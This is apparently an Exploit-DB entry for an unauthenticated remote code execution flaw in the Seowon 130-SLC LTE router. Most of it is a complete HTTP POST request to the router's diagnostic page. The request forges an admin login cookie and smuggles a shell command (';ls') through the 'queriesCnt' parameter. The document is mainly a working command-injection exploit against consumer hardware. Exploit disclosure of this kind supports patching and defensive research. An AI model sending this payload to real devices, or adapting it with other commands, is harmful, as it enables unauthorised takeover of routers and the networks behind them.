# Exploit Title: Seowon 130-SLC router - 'queriesCnt' Remote Code Execution (Unauthenticated) # Date: 2021-09-15 # Exploit Author: Aryan Chehreghani # Vendor Homepage: http://www.seowonintech.co.kr # Software Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=150&big_kindB05&middle_kindB05_29 # Version: All Version # Tested on: Windows 10 Enterprise x64 , Linux # [ About - Seowon 130-SLC router ] : #The SLC-130 series are all-in-one LTE CPE that delights you in handling multi-purpose environments that require data and WiFi, #Its sophisticated and stable operation helps you excel yourself at office and home, #Improve communication with excellence and ease your life. # [ Description ]: #Execute commands without authentication as admin user , #To use it in all versions, we only enter the router ip & Port(if available) in the request #The result of the request is visible on the browser page # [ Sample RCE Request ] : POST / HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Cyberfox/52.9.1 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Referer: http://192.168.1.1:443/diagnostic.html?t=201701020919 Content-Length: 183 Cookie: product=cpe; cpe_buildTime=201701020919; vendor=mobinnet; connType=lte; cpe_multiPdnEnable=1; cpe_lang=en; cpe_voip=0; cpe_cwmpc=1; cpe_snmp=1; filesharing=0; cpe_switchEnable=0; cpe_IPv6Enable=0; cpe_foc=0; cpe_vpn=1; cpe_httpsEnable=0; cpe_internetMTUEnable=0; cpe_opmode=lte; sessionTime=1631653385102; cpe_login=admin Connection: keep-alive Command=Diagnostic&traceMode=trace&reportIpOnly=0&pingPktSize=56&pingTimeout=30&pingCount=4&ipAddr=&maxTTLCnt=30&queriesCnt=;ls&reportIpOnlyCheckbox=on&btnApply=Apply&T=1631653402928